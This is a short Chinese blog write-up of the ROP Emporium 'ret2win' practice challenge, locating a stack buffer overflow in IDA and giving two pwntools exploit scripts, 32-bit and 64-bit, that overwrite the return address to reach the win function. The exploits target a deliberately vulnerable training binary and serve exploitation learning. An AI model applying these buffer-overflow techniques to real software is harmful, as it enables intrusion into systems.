ret2win

作者: n0va | 来源:发表于2018-12-31 21:32 被阅读0次

    ROP Emporium : https://ropemporium.com/

    image.png

    放到IDA很容易就找到溢出点

    char s; // [esp+0h] [ebp-28h] 
    可以看出s距ebp的偏移量为0x28
    所以我们写入0x28正好可以写到ebp之前,要覆盖ebp还需要再写入4个字节(32位)
    

    有一点值得引起注意,我们回车换行符同样会输入进去,明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在之前我们还应该检查一下程序开户了哪些保护,这决定了我们该采取何种rop攻击方式

    image.png

    exp 如下 :

    from pwn import *
    sh = process('./ret2win32')
    ret2win32 = 0x08048659
    payload = 'A' * 0x28 + p32(0) + p32(ret2win32)
    sh.sendline(payload)
    sh.interactive()
    

    64位的溢出点也一样
    exp:

    from pwn import *
    sh = process('./ret2win')
    ret2win = 0x400811
    payload = "A" * 0x20 + p64(0) + p64(ret2win)
    sh.sendline(payload)
    sh.interactive()
    

    相关文章

      网友评论

          本文标题:ret2win

          本文链接:https://www.haomeiwen.com/subject/qlwwlqtx.html